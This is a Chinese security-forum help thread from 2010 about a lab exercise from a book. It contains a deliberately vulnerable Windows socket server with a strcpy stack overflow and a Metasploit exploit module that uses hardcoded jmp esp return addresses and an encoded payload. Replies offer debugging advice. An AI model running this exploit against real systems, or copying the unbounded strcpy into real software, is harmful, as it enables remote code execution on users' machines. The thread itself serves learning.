首页
社区
课程
招聘
[求助]metasploit开发exploit
发表于: 2010-8-26 17:00 8340

[求助]metasploit开发exploit

2010-8-26 17:00
8340
0day第十章第六节实验疑问!

先说一下实验环境
虚拟机winxp sp3简体中文版
服务器代码:把原来的buf[0x200]改为buf[0x500]同时把msg[200]改为msg[1020],修改后的target_server.cpp代码如下:
#include<iostream.h>
#include<winsock2.h>
#pragma comment(lib, "ws2_32.lib")
void msg_display(char * buf)
{
        char msg[1020];
        strcpy(msg,buf);// overflow here, copy 0x200 to 200
        cout<<"********************"<<endl;
        cout<<"received:"<<endl;
        cout<<msg<<endl;
}
void main()
{
        int sock,msgsock,lenth,receive_len;
        struct sockaddr_in sock_server,sock_client;
        char buf[0x500]; //noticed it is 0x200
       
        WSADATA wsa;
        WSAStartup(MAKEWORD(1,1),&wsa);
        if((sock=socket(AF_INET,SOCK_STREAM,0))<0)
        {
                cout<<sock<<"socket creating error!"<<endl;
                exit(1);
        }
        sock_server.sin_family=AF_INET;
        sock_server.sin_port=htons(7777);
        sock_server.sin_addr.s_addr=htonl(INADDR_ANY);
        if(bind(sock,(struct sockaddr*)&sock_server,sizeof(sock_server)))
        {
                cout<<"binging stream socket error!"<<endl;
        }
        cout<<"**************************************"<<endl;
        cout<<"     exploit target server 1.0           "<<endl;
        cout<<"**************************************"<<endl;
        listen(sock,4);
        lenth=sizeof(struct sockaddr);
        do{
                msgsock=accept(sock,(struct sockaddr*)&sock_client,(int*)&lenth);
                if(msgsock==-1)
                {
                        cout<<"accept error!"<<endl;
                        break;
                }
                else
                        do
                        {
                                memset(buf,0,sizeof(buf));
                                if((receive_len=recv(msgsock,buf,sizeof(buf),0))<0)
                                {
                                        cout<<"reading stream message erro!"<<endl;
                                        receive_len=0;
                                }
                                msg_display(buf);//trigged the overflow
                        }while(receive_len);
                        closesocket(msgsock);
        }while(1);
        WSACleanup();
}

相应的test.rb也作了相应的修改
由于使用的是msf3.4版本书上给的是3.0版本的修改后的test.rb如下
require 'msf/core'
#require 'ftools'
#module Msf
class Metasploit3 < Msf::Exploit::Remote  #这里的变动是由于版本不同的原因
include Exploit::Remote::Tcp
       
        def initialize(info = {})
            super(update_info(info,
                'Name'                => 'failwest_test',
                'Platform'        => 'win',
                'Targets'        => [
                                        ['Windows 2000',  {'Ret' => 0x77F8948B } ],
                                        ['Windows XP SP2',{'Ret' => 0x7C914393 } ],
                                        ['windows XP SP3',{'Ret' => 0x7c86467b } ]        #这是自己添加的SP3简体中文版的        jmp esp的地址                   ],
                'Payload'       => {
                                        'Space'    => 1000,   #这里的改动是和target_server的改动相对应的                                       
           'BadChars' => "\x00",
                                    }
                ))
        end #end of initialize

        def exploit
                connect
                attack_buf = 'a'*1024 + [target['Ret']].pack('V') + payloaad.encoded #这里的改动也是和target_server的改动相对应的               
                sock.put(attack_buf)       
                handler
                disconnect
        end  #end of exploit def
#end #end of class def
end #end of module de

通过几次调试时的我的jmp esp恰好能够覆盖返回地址如图
在覆盖之前的返回地址

覆盖返回地址以后的堆栈情况:

根据这些情况说明exploit执行是成功的,但是接下来的shellcode执行的时候出现了异常。
这是我确定问题出现在shellcode上。修改test.rb的exploit函数为如下
        def exploit
                connect
                a=payload.encoded
                file=File.new("encoded.txt","w")
                file.puts(a)
                file.close
                attack_buf = 'a'*1024 + [target['Ret']].pack('V') + a
                sock.put(attack_buf)       
                handler
                disconnect
        end  #end of exploit def
修改以后并不会影响他的功能只是会把编码后的shellcode存放到文件encoded.txt中;
在ollydbg中观察到的shellcode如下图:


在保存下来的文件中观察到的shellcode如下图

他们是相同的这一点也在意料之中最集中的疑问是下面;
通过metasploit终端获得的shellcode如下图


为什么实际使用的shellcode和他给出的不一样呢?
我的猜测是由于缓冲区的限制使得对shellcode的编码方式不一样。但为什么不能正确执行呢。还有就是好像他给的编码方式是已经封装好的应噶不需要我们自己去改动才对啊。太多的疑问啊。
请知道的大侠出来指点迷津啊。
以下是我学习metasploit的一些资料:
adv-to-exp-using-msf.pdf
developers_guide.pdf
users_guide.pdf
users_guide_chinese.pdf

实验中使用的文件: 文件.rar

[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!

上传的附件:
收藏
免费 0
支持
分享
最新回复 (5)
雪    币: 36
活跃值: (25)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
2
咋没人呢,自己顶哈。
求解啊!!
2010-8-26 21:18
0
雪    币: 163
活跃值: (75)
能力值: ( LV3,RANK:30 )
在线值:
发帖
回帖
粉丝
3
我在SP2 下试过可以的啊,是不是你的jmp esp 地址弄错了呢 用OD的插件找一个试试看
2010-8-27 16:22
0
雪    币: 163
活跃值: (75)
能力值: ( LV3,RANK:30 )
在线值:
发帖
回帖
粉丝
4
或者你把服务器换成release版的再试试呢
2010-8-27 16:35
0
雪    币: 36
活跃值: (25)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
5
我跟踪过,转跳地址是对的,就是最后shellcode执行出现了问题。我不知道他的shellcode是怎样给出的,也不知道能影响最后shellcode还有些什么关键参数。
2010-8-29 16:35
0
雪    币: 197
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
6
试下先A填充  然后从你要的地址开始改写
payload=buffer+shellcode+buffer
直接发足够大的包
2010-9-5 11:40
0
游客
登录 | 注册 方可回帖
返回
//